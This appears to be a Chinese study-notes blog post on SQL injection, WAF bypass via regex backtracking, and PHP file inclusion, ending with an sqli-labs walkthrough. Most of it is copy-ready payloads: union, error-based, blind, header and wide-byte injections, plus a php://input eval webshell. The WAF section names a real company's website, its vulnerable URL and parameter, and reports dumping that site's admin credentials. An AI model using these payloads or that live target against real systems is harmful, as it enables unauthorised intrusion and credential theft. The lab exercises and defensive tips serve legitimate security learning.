sql注入

一、SQL 注入核心知识点

1. 基础概念与核心目标

  • 定义:利用应用程序对用户输入验证不足的缺陷,将恶意 SQL 语句注入到数据库查询中,实现未授权的数据访问或操作。
  • 核心目标:获取敏感数据(如管理员账号密码)、越权操作数据库、甚至控制服务器。

2. 核心前提与注入点识别

  • 产生条件:用户输入(如 GET/POST 参数)被直接拼接到 SQL 语句中,未做有效过滤或参数化处理。
  • 注入点测试 :通过拼接特殊字符(单引号'、双引号"、注释符--+等)触发 SQL 语法错误,判断是否存在注入点。
    • 示例:id=1' 触发报错 near '1'' LIMIT 0,1',说明存在注入点。

3. 关键操作与核心函数

(1)确定查询列数
  • 方法 :使用order by N排序,通过报错判断列数(报错提示 "Unknown column 'N'" 说明列数为 N-1)。
  • 示例:id=1' order by 3--+ 正常,id=1' order by 4--+ 报错 → 查询列数为 3。
(2)信息收集(依赖information_schema系统库)
  • 系统库作用:MySQL 默认自带,存储数据库名、表名、列名等元数据。
    • SCHEMATA:存储所有数据库名称。
    • TABLES:存储所有表名(关联table_schema字段定位数据库)。
    • COLUMNS:存储所有列名(关联table_schematable_name定位表)。
  • 核心查询语句
    • 查数据库名:select schema_name from information_schema.schemata limit 0,1
    • 查表名:select table_name from information_schema.tables where table_schema='数据库名' limit 0,1
    • 查列名:select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1
(3)数据获取核心函数
  • 字符串截取:substr()substring()left()right()(解决报错注入 32 字符限制)。
  • 数据聚合:group_concat()(将多行结果合并为一行,便于一次性获取)。
  • 长度计算:length()(获取字段值长度,用于分段截取)。
  • 报错触发:updatexml()extractvalue()(通过 XPATH 语法错误回显数据)。

4. 主流注入类型与实战方法

(1)联合查询注入(union select
  • 核心条件:前后查询列数一致。
  • 实战步骤
    1. 构造负数 ID 使原始查询无结果:id=-1'
    2. 拼接联合查询:id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
    3. 0x3a 为冒号的十六进制编码,用于分隔用户名和密码。
(2)报错注入
  • 核心原理:利用数据库函数报错机制,将查询结果嵌入错误信息中回显。
  • 常用 Payload
    • id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+(0x7e 为波浪号,分隔错误信息与数据)。
    • id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+
  • 注意updatexml()extractvalue()仅回显 32 个字符,需用substr()分段获取长数据。
(3)盲注(无回显场景)
  • 核心思路 :通过判断条件真假(如length()substr()配合and 1=1/and 1=0),逐字符猜解数据。
  • 工具辅助:可使用 SQLmap 自动化猜解,或编写 Python 脚本实现二分查找提升效率。

5. 账号密码爆破技巧(密码喷洒)

  • 传统爆破缺陷:密码字典庞大易触发风控(如 1 分钟内错误 3 次封 IP)。
  • 密码喷洒策略:固定弱密码(123456、111111、888888 等),爆破用户名(admin、root、manager 等),降低风控触发概率。
  • 工具:BurpSuite 批量发送请求,配合线程池提升效率。

6. 信息收集辅助手段

  • 后台地址挖掘
    • 爬虫工具:Dirsearch、Dirmap、AWVS(爬取隐藏后台)。
    • 搜索引擎语法:site:目标域名 intext:"管理|登录"(Google/Bing)。
    • robots.txt文件:可能泄露后台路径、敏感目录。
  • 子站发现:Fofa、Hunter、Quark 等平台,通过域名关联查找子站注入点。

二、正则回溯绕过(WAF 绕过核心)

1. 核心原理

  • 正则引擎差异 :PHP 使用 NFA(非确定性有限状态自动机)正则引擎,匹配时存在回溯机制,当回溯次数超过pcre.backtrack_limit(默认 100 万次),preg_match()返回false,导致 WAF 检测失败。
  • ReDoS 攻击:通过构造超长字符串,使 WAF 的正则表达式陷入大量回溯,触发超时放弃检测,实现请求绕过。

2. 适用场景

  • WAF 通过正则拦截敏感 SQL 语句(如select(.*)fromunion.+?select)。
  • 无法通过大小写混淆、注释符(/**//*!*/)、重叠字符(selselectect)绕过的场景。

3. 实战绕过方法

  • 核心思路 :在敏感关键字(如selectfrom)之间插入大量垃圾字符(如 100 万个a),触发正则回溯超时。
  • Payload 构造select/*a*1000000*/from/*...*/为 MySQL 注释,垃圾字符填充在注释内不影响 SQL 执行)。
  • 实战案例 :重庆再生能源集团官网(http://www.cqzszy.com.cn/order_sell.php),POST 参数bs存在注入点,WAF 拦截select(.*)from,通过上述 Payload 成功绕过,获取zszy_admin表的账号密码。

4. 完整利用脚本(核心功能)

  • 获取表名:循环limit offset,1,通过updatexml()回显表名。
  • 获取列名:指定表名,循环查询information_schema.columns
  • 分段获取数据:利用substr()按 5 字符分段,解决 32 字符限制。
  • HEX 编码获取:通过hex()函数将数据转为十六进制,避免特殊字符干扰。

5. WAF 防御改进建议

  • 避免使用贪婪量词(.*),改用原子分组((?>...))或占有量词(.*+)。
  • 设置正则执行时间限制和请求体大小限制(如限制 1MB 以内)。
  • 采用多层防御(应用层过滤 + 协议层校验 + 行为分析),避免单层正则检测。

三、文件包含漏洞

1. 核心原理与产生条件

  • 定义 :应用程序使用include()/require()等函数包含文件时,文件路径由用户可控,导致恶意文件被包含执行。
  • 核心条件include()的参数可控,且未对文件路径、类型做有效过滤。
  • 关键特性include()不校验文件后缀,只要文件内容包含 PHP 代码,即可执行。

2. 常用利用方式

(1)伪协议利用(核心)

|--------------|--------------------|---------------------------------------------------------------------------------------|
| 协议 | 作用 | 典型用法 |
| php://filter | 读取源码(Base64编码避免执行) | ?file=php://filter/read=convert.base64-encode/resource=config.php |
| php://input | 执行POST提交的PHP代码 | POST 数据:<?php eval($_POST['cmd']);?>,URL:?file=php://input(需allow_url_include=on) |
| phar:// | 解析压缩包内文件(配合反序列化) | ?file=phar://test.jpg/shell.php(将含 shell 的 zip 改名为 jpg) |
| zip:// | 访问压缩包内文件 | ?file=zip://test.jpg%23shell.php(#编码为%23) |

2)包含系统 / 日志文件
  • 日志文件:/var/log/nginx/access.log(Nginx 访问日志)、/var/log/auth.log(SSH 登录日志),需先通过请求注入 PHP 代码到日志中。
  • 临时文件:利用文件上传、Session 创建等场景生成的临时文件,通过条件竞争包含。
  • 特殊文件:/proc/self/environ(理论可行,实战中权限限制较多)。
(3)Session 文件包含
  • 核心条件 :Session 中的可控参数(如username)被写入 Session 文件,且知道 Session 存储路径和文件名(默认/tmp/sess_PHPSESSID)。
  • 利用步骤 :注入 PHP 代码到 Session 可控参数,通过?file=/tmp/sess_xxx包含执行。

3. 防御建议

  • 限制包含路径:通过open_basedir指定允许包含的目录。
  • 过滤危险字符:拦截../、伪协议(php://phar://等)。
  • 禁用危险配置:allow_url_include=Off(默认禁用)。
  • 校验文件类型:仅允许包含指定后缀的文件(如.php),且通过白名单校验。

四、关键工具与实战技巧

1. 核心工具

  • 注入工具:SQLmap(自动化注入)、BurpSuite(手动构造 Payload、爆破)。
  • 目录扫描:Dirsearch、Dirmap、AWVS(挖掘后台和敏感文件)。
  • 调试工具:PHPinfo(查看配置参数,如session.save_pathpcre.backtrack_limit)、BurpSuite(流量拦截与篡改)。

2. 实战核心技巧

  • 多维度绕过:当 GET 注入被拦截时,尝试 POST 注入(如案例中bs参数为 POST 注入点)。
  • 权限优先:获取管理员账号密码后,优先登录后台,避免直接命令执行触发告警。
  • 合法测试:所有操作需在授权环境(众测平台、靶场)进行,遵循《网络安全法》,避免未授权渗透。
  • 基础扎实:熟练掌握 MySQL 基础语法、PHP 配置参数、正则引擎原理,是灵活绕过的关键。

五、靶场闯关

1.Less-1 联合注入查询

定位注入点

复制代码
http://localhost/sqli/Less-1/?id=1'

判断列数

复制代码
?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+     
?id=1' order by 4--+     

判断回显位置

复制代码
?id=-1' union select 1,2,3--+

获取当前数据库名称:security

复制代码
?id=-1' union select 1,database(),3--+

获取所有表名:emails,referers,uagents,users

复制代码
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

获取users表的所有列名:id,username,password

复制代码
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

提取账号密码

复制代码
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

2.Less-5 布尔盲注

SQL 注入无回显场景的核心利用方式,目标程序仅返回 "正常 / 异常" 两种布尔结果(无数据直接回显、无报错信息)

核心逻辑

  1. 构造带条件判断的 SQL 语句,利用程序 "正常显示页面 / 空白 / 报错" 的差异,判断条件真假;
  2. 结合字符串截取、长度判断、字符比较函数,逐字符验证目标数据的每一位,最终拼接出完整内容。

核心函数(MySQL 为例)

  • length(字段/语句):判断目标数据的长度(如判断密码长度是否为 6);
  • substr(目标, 位置, 1):截取目标数据的指定位置字符(如截取密码第 1 位);
  • ascii(字符):将字符转为 ASCII 码,方便数值比较(如判断字符是否为 a,即 ASCII=97)。

极简示例

假设目标注入点为 ?id=1,无数据回显,仅 id 合法时显示正常页面:

  1. 判断数据库名长度:?id=1 and length(database())=6--+(页面正常→数据库名长度为 6);
  2. 逐字符猜解数据库名第 1 位:?id=1 and ascii(substr(database(),1,1))=97--+(页面正常→第 1 位是 a,ASCII=97);
  3. 依次猜解第 2、3... 位,最终拼接出完整数据库名。

3.Less-18 User-Agent注入

注入点在User-Agent请求头中,如下所示:

复制代码
POST /sqli/Less-18/
User-Agent: ' OR extractvalue(1,concat('!',database())) OR '
uname=admin&passwd=123&submit=Submit

4.Less-19 Referer注入

注入点在Referer请求头中,方法同Less-18

5.Less-20 Cookie注入

Cookie参数值直接带入SQL

复制代码
Cookie: uname=admin' union select 1,user(),3#

6.less-23 注释符绕过

过滤了#和--+,使用;%00或闭合方式绕过

复制代码
?id=-1' union select 1,2,3 or '1'='1

7.Less-24 二次注入

用该恶意账号admin'登录后,执行「修改密码」操作,此时代码会直接从数据库读取存储的用户名admin\' ,拼接进密码修改的 SQL 语句中,且无二次过滤

注册恶意账号

复制代码
用户名:admin'#
密码:123456

登录admin'#获取session

修改密码为pass888

复制代码
原本的密码修改 SQL(正常逻辑):
UPDATE users SET password='新密码' WHERE username='登录的用户名' AND password='旧密码'
拼接恶意用户名后,SQL 变为:
UPDATE users SET password='新密码' WHERE username='admin\' AND password='旧密码'
此时数据库会自动解析转义符,\'还原为',最终 SQL 被篡改:
UPDATE users SET password='新密码' WHERE username='admin' AND password='旧密码'

8.Less-25 双写绕过

过滤了or 和 and,通过双写关键字绕过

复制代码
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+

9.Less-26 空格过滤绕过

过滤了空格,通过替代空格绕过,可用 /**/ , %0a , ()

复制代码
?id=1' &&(updatexml(1,concat(0x7e,database(),0x7e),1))&&('1')='1

10.Less-27 大小写绕过

复制代码
?id=100'%0aUniOn%0ASElecT%0a1,2,3;%00

11.Less-32 宽字节注入

利用MySQL 宽字节编码特性 (如 GBK 编码,占 2 个字节),输入特殊字符 % df ,让转义符\(URL 编码%5c)被 "吃掉",重新还原出可闭合的单引号

单引号被\转义,无法闭合 SQL,用%df'替代普通单引号,即可绕过转义:

复制代码
?id=-1%df' union select 1,user(),3--+

12.Less-37 POST宽字节注入

复制代码
uname=admin%df'#
passwd=123

13.Less-38 堆叠注入

堆叠可执行多条SQL语句

复制代码
?id=1';insert into users(id,username,password) values(100,'test','123')--+
相关推荐
码农的小菜园31 分钟前
gradle常用指令使用笔记
笔记
鸟电波1 小时前
硬件笔记——示波器篇
笔记
Don.TIk1 小时前
SpringCloud学习笔记
笔记·学习·spring cloud
cd11840513 小时前
AutoCAD Electrical 2020学习笔记
笔记·学习
Sarvartha4 小时前
递归、回溯与动态规划学习笔记
笔记·学习·动态规划
眼镜哥(with glasses)4 小时前
网络技术三级考试综合题笔记整理(第二题、第三题)
网络·笔记·智能路由器
半壶清水4 小时前
[软考网规考点笔记]-数据通信基础之差错控制编码技术
网络·笔记·网络协议·tcp/ip
左左右右左右摇晃4 小时前
Java List集合
笔记
OxyTheCrack4 小时前
【C++】详细拆解std::mutex的底层原理
linux·开发语言·c++·笔记
左左右右左右摇晃5 小时前
红黑树笔记整理
笔记